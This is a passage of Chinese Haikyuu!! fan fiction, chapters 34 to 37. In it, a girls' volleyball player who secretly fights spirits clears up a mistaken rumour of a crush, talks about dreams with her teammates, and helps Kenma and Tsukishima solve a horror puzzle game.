没想到她还会对这些事情感兴趣。
人好像越来越多了。
阎魔乐察觉到气氛逐渐奇怪，她正准备告辞，一个人影突然快速地冲进了男生们的包围圈，站到她的身边，一把扯住了她的胳膊。
哎？
34.误会是折射的心意
雪村芽化作一道虚影窜进了人群，她谨慎地快速地扫过面前的几人，再望向不远处的那几人，辨别着少年们的意图。
不过，她很快就放弃了。
男生这种生物一向是排在排球后面的，所以她根本不明白他们的心思。
雪村干脆一把抓住阎魔乐的手腕，一把将她拉出了包围圈，撒开腿跑了起来。
哎？
阎魔乐没想到事情会是这样的发展就一下子被拖走了。
她回头望了望聚集在一起，摸不着头脑的少年们，立刻明白了雪村应该是误会了什么。
当然，她没有挣脱这只手，任凭外冷心热的学姐带着她跑。
少女的手并非一定要白皙光洁，粗糙的茧子对于排球少女来说是荣耀的勋章。
十秒后，阎魔乐开始呼吸不畅，她亲身体验到了首发副攻的可怕速度。
不行不行不行！
刚才间歇跑的损耗还没有恢复，再这么跑下去，一会上场没几分钟就要被教练换下去了。
所幸刚到四馆门口，雪村芽就松开了少女的手腕。
阎魔乐如临大赦，立刻喘着粗气小步走动，同时向其他学姐们打招呼。
“怎么跑得那么急？出什么事了吗？”飞鸟苗香问道，明明集合时间还有十分钟。
“食堂门口，有……很多男生……”雪村使用贫瘠的语言，结合手势比划着刚才发生的事。
“阿雪的意思是……”飞鸟耐心地理解着她的话，“有一些男生在找阎魔的麻烦？”
雪村猛猛点头。
在她的眼中，小小队长分明是被高大的男生们（日向：哎？）包围了，眼看就要遇到危险。
作为三年的队友，再加上“打排球的能有什么大恶人”的想法，飞鸟求证似地看向当事人。
阎魔乐不动声色地摇了摇头，却没有出声解释这个误会。
飞鸟即刻会意，她忍不住露出一抹浅笑，拉着雪村往排球馆里头走去。
“雪村学姐，明早也一起吃早饭吧？”阎魔乐笑着说。
雪村芽回过头，懵懂地轻点了头。
另一边，十六夜挥着手从不远处走来，其他队员们也陆续靠近，阎魔乐停在原地等候。
这时，从场馆内，几句出自少女漫忠实读者的话隐隐约约传了过来。
“发生在阎魔身上的这个剧情总觉得似曾相识呢。”飞鸟若有所思地回忆着。
听到自己的名字，阎魔乐竖起一只耳朵。
“集中在这里的都是强队，应该不可能有不良存在，毕竟没有那个时间。”飞鸟越说越兴奋，随即肯定地点点头，“说不定是因为那些男生对阎魔有好感，但不知道怎么表达？”
不是这样的！
阎魔乐在心中大吼。
听了飞鸟的话，雪村似懂非懂，她隐约意识到了什么，不过想到阎魔乐的表现，她又感到哪里不太对。
当然，一旦练习开始，她就不会再为此感到困惑。
“飞鸟学姐那么喜欢少女漫的情节，为什么自己不谈恋爱呢？”正在一旁拉伸准备的云中不紧不慢地发动了名为「一针见血」的技能。
虽说新山是女校，但也不是完全接触不到男生的。
“哎？”飞鸟一脸完全没想过这个问题的表情，她思索了一番，“恋爱这种麻烦的玩意儿，果然还是看别人谈更有意思吧？”
显然，她想起了伴随着甜蜜恋爱一起出现的，还有酸涩的纠结、苦涩的误会等等。
发生在别人身上，好萌。
发生在自己身上，不可以！
完全无法反驳的一句话呢。
倒不是说谈恋爱一定会有所牺牲，但是现在能站上首发位置的少女们，是把除了必要的学习和生活以外的时间拿出来训练的。
“啊，想起来了，上次选拔赛结束，青城和白鸟泽的队长好像也因为阎魔有所争执？”
等下！这是热血少年漫不是吗？！
阎魔乐原地石化。
“这小家伙确实不是省油的灯呢。”花咲眯着眼睛，嘴角的微笑耐人寻味。
她对没有证据的绯闻没什么兴趣，她指的是阎魔乐身上那种「好像只要能打好排球，她什么都会做」的态度。
可怕的小家伙。
风间枝没有发表看法，她合上笔记本，开始为练习赛准备。
“阿乐，你起得好早呀。”十六夜兴冲冲地跑来。
早晨醒来，她一下自己就发现身边的少女和柔软的棉被都已经消失。
不过她并没有被抛下的感觉，反而有一种本应如此的感觉。
“嗯，想着先练习一下。”阎魔乐活动了一下四肢，检查着自己的体力状态。
“哼，吊车尾当然得努力啦。”星那双手抱胸，昂着下巴，一双眼睛却轻轻瞥向阎魔乐的口袋。
傲娇的举动实在是好懂，阎魔乐立刻想起来那两颗帮了大忙的糖果。
看来得做点什么呢。
阎魔乐之前担心的情况还是发生了。
因为体力消耗得太多，她果断被教练换下场，痛失上场的时间。她趁着休息的间隙，快速跑到一馆外。
排球馆中十分吵闹。
少年们的呼喊声，排球鞋与地面的摩擦声，排球或重或轻砸下的声音……
“鱼跃一周！”
乌野在大地富有气势的声音，开启了输掉比赛的惩罚。
他们这一场的对手是音驹，黑尾喝着水到门口透气，正巧看到路过的少女。
“哦呀，木兔的话……”黑尾下意识回头看了看场内，“现在正在那边呢。”
“是这样啊。”
不用他特意说，阎魔乐也能从嘈杂的声音中听到标志性的“嘿～嘿～嘿！”。
木兔的打球风格灵活多变、不拘一格，但这些还是建立在他不俗的身体素质之上的，阎魔乐认为他的风格在将来是可以参考的素材，现在还有些太早了。
她只是不太理解黑尾特意说这话的意思，不过这并不是什么太重要的事情，于是她微微欠身转向另一边。
零食贩卖机前，一向很有主见的阎魔乐陷入了沉思。她想给星那买一些谢礼，却不知道买什么好。
在吃不准对方喜欢什么的情况下，第一选择可能会送自己喜欢的东西。
就比如，报恩的小流浪猫会往别人的家门口叼老鼠，这是它拿得出手的最好的东西了。
她记得木叶前辈袋子里的零食种类很多，但事实上星那最后选择了糖果作为礼物。
糖果。
阎魔乐瞬间缩小了范围，现在只要确定口味就好了。
当然，每种味道都买也可以，可是「盛情难却」从某种意义上也是客人的无可奈何。
虽然，星那应该不会想那么多啦。
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“是给别人买吗？”
身后传来一个声音，阎魔乐回头看到的是赤苇清秀的脸庞。
比赛结束，他刚好出来回电话，前去多媒体教室的检修师傅表示没有发现屏幕有任何故障。
“嗯，是的。”阎魔乐点头。
“可乐味的怎么样？”赤苇提议道。
“赤苇前辈喜欢这个味道吗？”阎魔乐随口问了一句。
“我的话，可能更喜欢柑橘味。”
他在不清楚她的诉求下推荐了并非自己喜欢的种类，所以说，在他看来，他提供的是一个既定的答案。
可乐味？
阎魔乐总觉得这个不算常见的味道已经不止一次出现了。
啊，对了，给木兔的糖果就是这个。为什么……
等等，这个名字也出现太多次了吧？就算这里是枭谷。
月岛暂且不表，黑尾和赤苇也变得有些古怪，和他们密切地接触毫无疑问是在昨晚净化邪祟的时候，那时候发生了什么吗？
见少女沉默不语，赤苇深吸了口气，决定实话实说：“虽然由我来说这样的话有些冒昧，可是如果喜欢木兔学长的话，一定要简单直接地告诉他。”
“哈？”
阎魔乐缩了缩脖子，露出「老人-地铁-手机.jpg」的表情。
这可真是未曾设想的暗恋，甚至连当事人都不知情。
她立刻将自己代入了另外三人的视角，从旁观者的角度审视着自己的一举一动，总算一点点明白了这个误会是怎么产生的。
结果这一下沉默又给搞错状况的三人组趁虚而入的机会。
“因为他遇到危险，你冲在第一个，比赤苇都快。”黑尾不知道什么时候走了过来。
那是因为得保护普通人啊！
“还有糖，让木兔学长振作起来的可乐味的糖果。”赤苇接着说道。
不然邪祟会发动攻击啊！
那可是木兔（消沉版）啊！
两人期待地看向站在稍远处的月岛，希望他来补充最后一点。
月岛不情不愿地开口：“最后分别时候，也很……体贴。”他转开脸，移开了视线。
那是为了你们这些麻烦的家伙快点离开啊！！
你们三馆组的脑袋都是怎么长的啊？那不然笔给你们，你们来写呢？
完全不是这样的啊喂！！
“我想，前辈们都误会了，木兔前辈确实是一位很优秀的主攻手，但仅此而已。”阎魔乐非常想咆哮着吐槽，可她还是勉强维持住了自己的体面，“我会将之视为榜样之一，和我对新山学姐们的感受一样。”
“以上。”说完，她快速买下决定好的礼物，然后头也不回地离开了，“告辞。”
留下三人面面相觑，陷入沉默。
“哦呀，竟然搞错了。”黑尾忍不住笑出声，为自己的莽撞感到好笑。
“嗯，看来她只是个热心的女生。”赤苇点点头，想着得在合适的时间道歉。
这样一本正经的解释，任谁也不可能认为她是因为害羞才说的反话。
“月岛你在这里干嘛呢？”日向跑过来张望了一下，“啊，前辈们也在。”
月岛破天荒地没有进行火力攻击，只是瞥了他一眼。
少年的到来引发了新一轮的猜测——
如果没记错的话，日向是她从小一起长大的幼驯染，难道说……
35.梦想是某种暴言
毒辣的太阳偏过头顶，少女们捧着枭谷家委会送来的西瓜，三五成群地聚在四馆门口和建筑物落下的阴影中。
“阿乐，快来～”
阎魔乐刚走过来，十六夜就往她的手上放上一块西瓜，入手冰凉，果肉脆红。
少女的笑脸和冰镇过的西瓜驱散着暑气，阎魔乐立刻将刚才的插曲抛到了脑后，一颗心沉静下来。
趁着白日里难得的闲暇，少女们凑在一起轻声聊着天。
“哎？你们看了最近的新剧吗？”梅宫芝开了一个不错的话头。
“男主因为要追逐梦想，不得不和女主分开，分别的那场戏太催泪了吧。”果不其然，竹取兰一很感兴趣。
“抛下恋人真的逊哎。”花咲似乎对剧情很不满意。
“不知道女主会不会追过去呢？”天内叶歌也追到了最新的一集。
“那样的话，她会失去很多吧？太不公平了。”岩崎蕾发表着自己的看法。
“杏看上去很没精神呢？发生什么事了吗？”千石英悄声问。
山吹杏盘腿坐在一边，手中捧着只咬了一口的西瓜怔怔地发着呆。
“大家都知道的嘛，杏的男友本来是她的幼驯染，但是今年因为训练、远征，感觉自己受了冷落，所以最近在吵架呢……”
“这样不错呢。”云中突然没头没脑地说了一句。
“哎？”众人顿时大惊失色，有些紧张地望向当事人。
“因为杏是一直向前走的那一个，新山训练的节奏一直都是这样的，只是有人跟不上了而已。”云中若无其事地说着。
那架势好像是在说不堪繁重的训练而离队的队员们，又像是在说别的。
山吹杏应该是听到了。逐渐地，她的眼中泛起隐隐泪光，露出了一抹感动又释然的微笑，接着咬下一口西瓜。
“嗯嗯，果然这就是青春期的恋爱呢呢～”飞鸟动容地说，继而又把话题引回了电视剧上。
十六夜也会跟着爸妈在晚间黄金档一起追剧，所以听得津津有味，偶尔还会加入讨论。
阎魔乐并没有参与聊天，她正认真地对付着第二块西瓜。也许从昨晚后，她开始对西瓜和西瓜味的东西产生了强烈的好感。
还好当时没吃可乐味的。她感到一丝庆幸，不然现在喜欢的就是这种不健康的饮料了。
“阿乐不喜欢恋爱故事吗？”十六夜好奇地问。
“嗯，好像没什么兴趣呢。”
纵然比赛的视频资料已经看得差不多，时间宽裕了一些，但她也只会偶尔重温经典的比赛或者看看灵异论坛的帖子。
“哎？是对恋爱一点也没有兴趣吗？”飞鸟凑过来，毕竟阎魔乐可是她发掘的「真人恋爱模拟」的新角色。
“这个嘛……”
阎魔乐咀嚼着汁水四溢的果肉，认真地思考着。
毫无疑问，身边的男孩子们都优秀得各有千秋，无论是现在还是未来。也许每个人在生活中都有或多或少的问题，但是这种少年漫能出什么渣男呢？
甚至，她拥有的情报一直延续到了他们30岁左右的人生。
但，仅此而已。
男生们对她来说，并非是助力，当然也不是阻力。
只是，毫无关系的个体。
“恋爱，从来不是人生的必选项对吧？”阎魔乐咽下最后一口果肉，“对我来说，非要考虑的话，就等加入V联盟D1的俱乐部、入选国家队之后再说吧。”
等到了那个程度，魔力应该就能完全回来了吧？
不过，真到了那个程度，应该也会忙得没什么时间考虑恋爱这样的事情。
话音刚落，星那忍不住大笑起来：“哈哈哈！那不就是永远都没办法……”
“忧子！”鬼冢第一次大声喝住了星那，她有些严肃地拉住了大小姐的胳膊打断了她要说的话。
星那有些吃惊，自己的好友一直都是怯懦害羞的模样，怎么今天会这样……但她也知道自己说错话了，于是她低下头，瘪了瘪嘴不再说话。
“阿乐……”
十六夜有些担心的望向好友。
“没关系啦，毕竟——”
阎魔乐神色如常，她步入阳光之中，走到垃圾桶边将瓜皮扔掉。
“说出来会被嘲笑的梦想，才更有实现的价值吧？”
这话说得意外地帅气呢，她想。
阳光落下来，为阎魔乐蒙上了一层光晕，反射在白皙的皮肤上显得耀眼。
“哼，真敢说啊。”花咲扬起嘴角。
“之前就想说了，阎魔真的很厉害。”福生优奈憧憬地说。
哪里，最厉害的还是净化邪祟！
连续两天干掉两只麻烦的邪祟，就连阎魔乐这样沉稳的性格都不免有些得意。
所以，其实她真正的梦想是，干掉世界上所有的邪祟，实现世界和平。
“那、那我要成为世界第一的二传手！”十六夜深受鼓舞，她曾经私下中说过这个听上去不切实际的梦想，但这还是她第一次在众人面前这么说呢。
“哼哼～哼～我要拦住所有高个子的进攻！～”
包括姐姐的。星那在心中补充了一句。
一时间，所有人都打开了话匣子，一个个听上去羞于言表的梦想被公之于众。场面一度像是入队当天被3V3替代的宣誓。
唯有鬼冢露出浅浅的微笑，没有说话。
“嗷嗷嗷，我要拿到世锦赛的冠军！～”望月举起双手加入了这场，突然感到一阵晕眩。
“怎么了？”花咲伸手扶住她，“没睡好吗？”
“啊，没事没事～”望月嘿嘿一笑，曲起左臂，拍了拍令人羡慕的肱二头肌。
“啊啊啊，竟然没得磕了嘛？”飞鸟在阎魔乐表态后黯然神伤。
“就说阿香你想太多了啦，哈哈哈！～”望月大笑起来，似乎真的已经没事了。
“学姐那么喜欢的话，干脆自己也来画怎么样？”云中不经意地提议。
“哎？画画有些太难了吧？”飞鸟想了下，迟疑着说，“我现在开始会不会太晚？”
“完全不会，我也才打球几个月的时间不是吗？”说到漫画，阎魔乐还是很有兴趣的，“十年前打球的队员，现在球龄十年，学姐现在开始画的话，十年后就画了十年哎。”
飞鸟垂眸，似乎在思考这件事的可行性。
“那不是一件很了不起的事情吗？”阎魔乐继续输出，“或者，可以当原作呢？”
下一秒，她的头上落下一只手，按着她的脑袋，她努力抬头看向来人。
“够了啊，你这能干的小鬼。”花咲还是那副笑眯眯的样子，软糯的关西腔也听不出她是否不满，很快她松开了手。
阎魔乐不明所以地眨巴着眼睛，几秒后明白过来——就算强如新山的首发，也不一定会继续打排球。
花咲明显是不想太快把这个现实放到台面上来说。
这一点点小风波并没有引起远在洗手池那边的风间枝的注意，她仔细地洗净手上的汁液。
她在梦想这个议题开始前就走开了，但只是听到那两个自带希望的字就令她露出一抹浅浅的微笑。
她眯着眼睛望了望晴空，一阵微风轻柔地抚过心底名为“梦想”的幼苗。
这时，有几个穿着休闲服装的学生从体育馆前路过，他们没有大汗淋漓的状态，看上去并不是训练的队员。
“那个方向上是……”阎魔乐辨别着他们前行的方位。
过来扔垃圾的木叶千夏热心地解答：“暑假期间，图书馆每周会开一天方便我们借书还书。”
触发关键词。
一道昏暗的灯光在眼前一闪而过，阎魔乐想起来了昨晚在睡前的不自然的场景。
“木叶前辈，之前我好像听说枭谷有什么关于图书馆的传闻？”
她还真是劳碌命，又要给自己找活干了呢。
星那一听到这话，立刻脸色一变，露出一副“我最讨厌你了”的表情，“咚咚咚”地跑开，鬼冢也赶紧跟着跑过去。
“哦哦，那个啊～阎
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魔也有兴趣吗？”木叶千夏神神秘秘地凑过来。
阎魔乐点点头，装出一副紧张的样子咽了咽口水。
“其实也没什么啦，就是一到深夜，图书馆中会亮起一盏灯，但是保安大叔前去查看的时候，并没有发现有什么人在。”
“不过，图书馆到下午五点后就会关门，所以也没有同学能一探究竟啦。”木叶千夏，“所以只是个不怎么恐怖的传闻罢了。”
听上去是存在了很久的怪谈，也没有吓到人，应该不是邪祟。
搞不好就是哪盏灯的线接错了而已。
毕竟选择了这种到夜间就不会有人来的地方，出现的时间还都是别人熟睡的时间，也没有引发现实扭曲，没有传播度和恐惧程度啊。
“虽说检修的老师没有发现线路问题，但是远比其他学校的会动的人体模型和石膏像什么的来的要平常吧？”
不不不，请你一定要有自信，这些在枭谷也都发生了。
并且，非常恐怖！
尽管听上去没有太过可疑的地方，阎魔乐还是决定去调查一下。
终于，在图书馆闭馆前，因为赛程安排，她获得了二十分钟休息的时间。
暑假期间，老师没有开空调，电扇摇着头，室内免不了闷热。
阎魔乐擦着汗，环顾着周围的环境。
墙壁顶端安装着大量窗户，白天就算不开灯，这里的光线也很好，并不是适合邪祟生存的地方。
阎魔乐没有感到什么邪祟的气息，当然了，也不排除特别弱小的隐藏在角落阴影中。
闭馆前还剩下几分钟，她从外至内穿梭在书架之间，随意地扫过一排排书籍。
从文学类到历史类，然后是科学类。
果然，像这样的高中图书馆中，不会有什么漫画呢。
忽然间，某个修长的身影跃入眼帘，阎魔乐停下脚步。
月岛萤听到戛然而止的脚步声，警觉地转过头，在眼眸笼住少女的脸庞后，眼光微微一颤。
怎么又是她？
尽管之前发生了那种事，阎魔乐倒是没觉得有什么尴尬，毕竟她已经澄清过这个误会了。
她的视线落在少年手中的书上——那是一本关于恐龙的研究手记。
看他抱着书的姿势，并非是随意翻看，而是要借走的架势。
“合宿结束后怎么办？”阎魔乐观察着这一排书架，随口问道。
“我会在剩下的几天中看完，然后让赤苇学长帮忙。”
感情变得很好呢。
月岛注意到她的举动：“你在找什么书？”
“我只是随便看看。”如果非要看书的话，应该也会是运动类的书吧？帮助增长科□□动方式那一类的。
“同学，我们要闭馆了哦。”图书馆的老师提醒道。
“是，麻烦稍等下，啊，我的硬币。”阎魔乐望向最后一排书架，快速地跑过去查看了下，随后装作弯腰捡起了并不存在的硬币。
这下她就可以确定这里没有什么邪祟隐藏了。
“老师，我需要借这本书。”
“好的。”老师在电脑上操作着，“赤苇同学，这边显示那本《西方文学史》还有一周就要到期咯。”
“是的，老师，我会按时还书的。”月岛面不改色地点点头。
阎魔乐懒得拆穿，就向外走去，办完手续的少年跟在身后。
她故意说：“那么，赤苇同学，再见咯。”
“我并没有看到什么硬币呢。”月岛还以颜色。
没有硬币滚落的声音，干净的地面上也空无一物。
她就好像是找了个借口非要去最后一排书架一样。
还有昨晚，如果把她挡在木兔学长身前的举动理解成勇敢热心的人会做的事情……非要说有什么不自然的话，就是她的视线。
按理说，正常一定是先看屏幕然后会立刻注意到石膏体，但是她盯着只有雪花的屏幕看了很久。
就好像是……看到了什么别人看不到的东西一样。
36.猫、乌鸦与少女的游戏时间1
盛夏的五点依然如明媚白昼，但是图书馆大门前的两人并没有心思去感受这样晴朗的天气，他们的对话逐渐变得针锋相对。
在阎魔乐看来，不坦率、嘴毒的傲娇幼稚鬼势必需要教育一下。月岛萤则好不容易抓住复仇的机会，所以没有让步的打算。
“月岛君没看清的话，换副眼镜应该是个不错的选择？”阎魔乐一口咬定是对方没有看清。
“还真是叫不醒装睡的人呢，不如摸摸口袋清醒一下如何呢？”月岛萤嗤笑一声，看上去对自己的观察力很有信心。
“喂喂，你们两个……”
没有硝烟的战争被终止，因为音驹的队长和大脑不知为何也来到了图书馆这里。
黑尾无奈笑着制止着两个后辈的互掐。
月岛别扭的性格他是知道的，只是没想到以理智示人的少女也会是寸步不让的态度。
“啊，关门了……”研磨幽幽地看着图书馆老师锁上大门，愉快地下了班。
“黑尾前辈，研磨前辈，你们也要借书吗？”阎魔乐眼看自己占不了上风，只能暂时休战。
月岛见状只能咽下反击的话，朝着黑尾轻轻点了头低声打了招呼。
“啊……不用这么称呼……”研磨慢悠悠地说，他向来不喜欢所谓的前后辈制度。
“因为枭谷的队员们总在说图书馆怪谈什么的，所以研磨想过来看下。”黑尾轻笑一声解释，“正好下午的比赛都结束了。”
怪谈？这会不会与她奇怪的举动有关呢？
这个在运动番中并不寻常的词给了月岛新的思路。
比如，她为了调查怪谈的真实性所以才会做出那种奇怪的举动吗？
聪明的人往往能通过观察得出其他人注意不到的结论，但也会因为思维缜密，将事情往更合理的方向上推理。
月岛正是如此。
所以，她在多媒体教室中的行为也是因为这个？
难怪她昨晚的一直在把事情往合理的可以解释的方向上引导。
这算什么？妄图破除怪谈谜团的侦探游戏？
他在心中吐槽了一句。
“图书馆中似乎没有什么异样。”阎魔乐说着自己的调查结果，“虽然也有可能是天还没有黑的原因。”
“无论真假，都会有形成的原因。”研磨垂眸，“线路老化、机械故障、幻觉……主要是思路……”
“哈哈，研磨只会在游戏上那么有干劲呢。”黑尾十分了解自己这个幼驯染，毕竟他是将训练当作游戏升级才撑下来的节能型选手。
“调查怪谈是为了通关游戏吗？”
阎魔乐倒是对游戏不感冒，但是与怪谈相关的游戏不知是否能增加她对付邪祟的想象力。就比如昨晚那只，如果不是在僵持下使用了一点小计谋，她很有可能会束手无策。
说不定，会有更简单的破局方法？而不是这样的精神污染。
“嗯，最近一直在玩一款惊悚解密游戏，但是卡在了某一关上。”研磨捧起游戏机，点亮了屏幕，“因为是新游戏，网上也没有什么攻略。”
电子屏幕上显示为游戏的暂停界面，像素风格透露出一种诡异的可爱。
“我们也都看过了，没什么头绪呢。”黑尾看着一年级的二人眼露精光，“说起来，你们两个似乎都很聪明啊，干脆一起来帮忙？”
“啊，我的话……”月岛下意识想拒绝，却瞥到少女的目光牢牢锁定在游戏机上仿佛已经开始通过暂停界面的线索进行分析。
“阎魔也……感兴趣吗？”显然，如此明显的视线，狡猾的猫咪又怎么会发现不了。
阎魔乐承认自己产生了一定兴趣，毕竟这是连头脑5的研磨都没能解开的难题。
再加上她因目前的身体情况调整了夜训的内容，准备以练习发球为主，因此并不需要和十六夜她们进行配合训练。
“嗯，看上去很有趣。”
她尽量表现出认真的态度，而非兴奋，她担心太过激动反而会吓走容易受惊的三花猫。
“那……要不要一起试试看？”研磨自然早就知道少女混迹于灵异论坛，脑袋也很灵活，说不定真的能从另外的角度找到线索。
“我会努力看看的。”阎魔乐站到布丁头少年的身边。
“那个……”研磨又望了望月岛，虽然他们之间的交集不太多，但是早在音驹于宫城远征的练习赛上，他就注意到这个会冷静观察对手的副攻手了。
“这个游戏有意思吗？”月岛的提问很明显是在给自己找台阶下。
“嗯……还挺有趣的。”190的一年级显得很有气势，研磨不免偏移了视线。
“生物学家改行做恐龙学家之后还要有新的兼职了吗？”阎魔乐正在发信息告诉十六夜自己晚上的安排，随口说道，潜意识中她觉得刚才的战争还没有结束。
“啊，多谢夸奖呢～”月岛摸着后脑勺，露出欠揍的笑眯眯的表情，“无实物表演专家确实是不错的职业呢～”
混……阎魔乐觉得自己多余说这一句，她无法对事实进行反驳。毕竟刚才事出突然，她在那时也想不出更好的办法。
这一句总算是报了早晨的仇，扳回一城。
月岛心情不错地站到研磨的另一边。
研磨见两人如此，欲言又止，他可没想卷入纷争之中，求助地看了黑尾一眼。
大只黑猫奸巧地递过一个微笑：“你可是学长啊。”
说完，他在一旁垫起球来做控球训练。
事已至此，阎魔乐决定先按下不表，她并不是输不起的人。
当然，她也绝对不是会吃哑巴亏的人。
“研磨君，这个游戏的背景故事是什么？”收到了十六夜回复的消息，她合上手机，看向游戏机屏幕。
听到这个称谓，研磨感到压力小了一些。
“嗯，这个是……”他退回主页面开始介绍起来。
【古堡之夜】是一个像素风格的恐怖解密游戏，玩家将扮演失去所有的记忆的主角，他从诡异阴森的古堡中醒来，在寻找离开方法的过程中发现了越来越多的谜团。
故事的大致背景看上去不算特别有新意，但因为所有道具并不会因为使用就消失，所以在增加了解密难度的同时，也造成通关方法并不是唯一。
甚至，道具的使用将关系到剧情的走向。
目前，研磨他已经弄清楚这个古堡就是其主人邪恶伯爵为了探究人类生命的进化而进行人体实验的恶心实验室。
那不就是《弗兰肯斯坦》的故事吗？月岛暗暗地想。
“嗯……已经到了最后一关了，但是……有一个任务怎么也完成不了。”说着，研磨按下了「继续游戏」，屏幕中的小人立刻动了起来。
【在180s内毁掉所有生命体，逃出城堡】
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游戏中添加了动作闯关元素，里面的怪物被称为生命体，从奇形怪状的造型中，阎魔乐深刻地体会到了「生命」在这里的含义。
生命≈血液、肉、骨头、神经、内脏、器官……的集合体。
而这些怪物就将这些部分随意地组合拼凑，有葡萄样随意生长的眼球或者超过两只的胳膊的肢体，人体蜘蛛、肉块雪人层出不穷。
所幸是像素风的画面，否则阎魔乐就算会在这里被月岛嘲讽，她应该也会退出这场解密游戏。
不知道是研磨之前失败的次数太多，还是本来就擅长操作，他能够通过各种机关、走位和武器，不费吹灰之力地干掉追逐他的生命体。他甚至会在尸体旁补刀，但依然毫无作用。
然而，即使整个操作行云流水，也明显干掉了所有能够行动的怪物，但是倒计时始终没有停止。
【Game Over】
大大的血色的字宛如一道口伤口，伴随恶魔的嘲笑宣誓着主角的孱弱和愚蠢。
“研磨君，能让我看看各个房间的样子吗？”阎魔乐微微蹙眉。
月岛用沉默认可了这个观点。
任务的要求有两个，「毁掉所有生命体」和「逃出古堡」，暂时不知道是否要全部达成才能过关。
目前，主角没有得到逃脱古堡的线索，所以可以先推测是因为还没有毁掉所有生命体的原因。
也就是说还有漏网之鱼。
研磨点点头，一边用熟练的操作溜着怪，一边慢慢地坐在了台阶上，旁边的两个人也跟随他的动作坐在他的两侧。
黑尾看到这一幕，笑着朝某个方向走去。
“这是古堡的正门大厅，这间是……邪恶伯爵的实验室。”
地上躺着一具奇形怪状被砸死的尸体，显然这个反派已经被主角干掉。
难道说这家伙不是最终boss？
“隐藏的房间也在这里，里面放着一些器官的标本。”
在一堵被巨大力量撞碎的墙被躺着一只庞然大物，进入密室中，入眼皆是泡着各种器官的福尔马林容器。
“隐藏的房间是到了最终关才发现的吗？”月岛问道。
“嗯，是靠生命体撞碎墙壁才能够进去的，拥有这种力量的新品种生命体是这关才出现的。”
这么看来，这个密室中一定是藏着过关的线索。
也许是最近内脏这种东西出现得太多，阎魔乐产生了一些想法。
没错，生命体是血肉的集合，那么单独某个器官呢？
会不会这些器官只是因为没有安装上能够行动的肢体所以才安静地待在容器之中？
看着琳琅满目的标本，她不禁提议道：“把这些标本都破坏看看呢？”
“你是说……”
研磨显然是第一时间理解了她的意思，他立刻操纵主角用锤子一一砸毁了这些容器。
随着最后一锤落在放在最深处的容器上，大脑随着玻璃碎裂的声音被破坏，随即画面不可控地整个暗了下去。
闪电划破天空，照亮森林深处的诡异古堡。
公路上，几个寻求刺激探险的大学生驾车驶向惊悚的泥淖，他们还不知等待他们的将会是什么悲惨的结局。
生命体的低吼声再度传来，新的轮回即将重演……
达成结局——【罪恶的继任者】
一时间，疑惑在三人的心头涌现。
37.猫、乌鸦与少女的游戏时间2
闪电落下，主角站在实验室中的身影一闪而过，伴随着令人不安的字眼，画面转暗，屏幕上开始滚动制作组名单。
“这是……一个坏结局。”研磨在游戏上的经验可能和排球不相上下，他知道这种自由度较高的游戏绝对有不止一个结局。
无法离开的主角逐渐被侵蚀同化，成为了第二任邪恶伯爵，这样的结局绝对不是什么好的结局。
完成卡了许久的关卡固然令人兴奋，但是辛辛苦苦得来的是一个不怎么好的结局也并非是令人十分雀跃的事情。
另外两人也同意这个观点，他们沉默地思考着这个关卡是否还有什么不同的解法。
从表面上看，通关条件是2个，但是现在没有逃出去就达成了结局，意味着只要完成其中一个就能过关。
同时这也印证了阎魔乐的想法——这些器官显然就是最后的生命体了。
她提议道：“最后的房间中应该还藏着更多的秘密，这次试试看能不能不破坏器官，然后逃出去。”
伴着她的话，研磨读取存档，三人再度回到了令人惊恐的古堡之夜中。
这次解决掉所有生命体后，还剩下60多秒的时间在密室进行线索搜寻。
“这些器官前的铭牌似乎有线索可以交互？”月岛提醒道。
“嗯，标注了来自于不同的人。”研磨也发现了这点，但因为时间紧张的关系，他在上一轮并没有挨个检查过去。
那些名字并没有什么特别的含义，都是邪恶伯爵手术下的受害者，研磨在实验记录中有看过。
倒计时还剩30s，他们终于在装着大脑的玻璃罐之前发现了线索。
和之前的标识不同，这块铭牌被粘稠的污渍浸染，看不出属于哪个倒霉蛋。
【铭牌：？？？】
【描述：被污染的铭牌，字迹无法辨认，螺丝似乎有所松动】
面对这么明显的提示，研磨当即从背包中拿出螺丝刀，小心地卸下了螺丝。
“丁零”一声，有什么泛着白光的小物件掉落在了地砖之上，他弯腰捡了起来。
【获得：大门钥匙】
游戏有了进展，三人皆是心头一喜。
研磨拿上钥匙，在倒计时归零之前，顺利操纵主角从大门逃了出去。
这一次也顺利播放起了通关动画。
主角喘着粗气，在漆黑的森林中不断奔跑。
身后传来巨大的声响，他不禁回头，一股带着刺激性气味的气流刮到了他的面前。
远处，古堡不知为何发生了巨大的爆炸，在火光中化为残垣断壁。
也许是邪恶伯爵设置好的炸弹，在主角打开大门后就会启动，将罪恶掩埋在废墟之下。
主角站在原处，无法辨别自己的心情就是是庆幸还是不甘心。
那个噩梦般地地狱如今被毁掉应该是一件很高兴的事情，但是，与罪恶一起消散的还有他失去的记忆。
至此，他再无找回记忆的可能。
所幸，他回到了人类社会过上了平凡的生活。
只是在古堡外的世界中，他仿佛是一个婴儿、一座孤岛般格格不入。
午夜梦回，他偶尔还是会被噩梦惊醒，仿佛自己仍然处于那个惊魂之夜。
随后，现实巨大的迷茫包围了他。
达成结局——【迷茫的人间体】
“这应该是个最为大众的结局。”俗称普通结局。
月岛一边说，一边起身。在他看来，达成这样的结局已经是可以接受的情况了。
“还有什么道具我们没能用上的呢？”阎魔乐思考着回忆这短短几分钟的所有细节。
研磨琥珀色的眼珠稍稍从她那边一瞥，随后重新落回屏幕上。
“刚才那一局中的新发现就是钥匙和被污染的铭牌，它不像其他那些铭牌表明了生命体的身份，所以说——”研磨分析着现有的信息。
“这唯一一颗的大脑，其主人的身份很重要。”阎魔乐接话道。
这两人看上去完全没有要走的意思，这下月岛僵在半当中，站也不是，坐也不是，最后还是认命地坐回原处。
为了掩饰尴尬，他想着从源头寻找线索，于是问道：“古堡伯爵为什么要做生命体的实验？”
按照俗套的剧情，应该是为了复活重要的人之类的原因。
“探索人类进化，但是从一些线索来看还有「存在的形式」这个议题。”研磨回答。
进化很好理解，科学家们的很多研究就是为了让人类的生命质量变得更高，但是存在的形式指的是什么？
阎魔乐正想着，研磨已经读取存档进入游戏，同时在暂停界面调出调查笔记，其中记录着邪恶伯爵的研究资料。
【将一个人完整的记忆复制出来，是否意味着他就会在新的躯壳中重生？如果成功，能否证明灵魂的存在？人类是否可以通过克隆技术达成永生？】
【如果将抹除所有记忆的个体置于完全不同的环境之下，他的性格和行为模式是否会发生改变？如果发生改变，能否证明了灵魂其实是环境塑造的？】
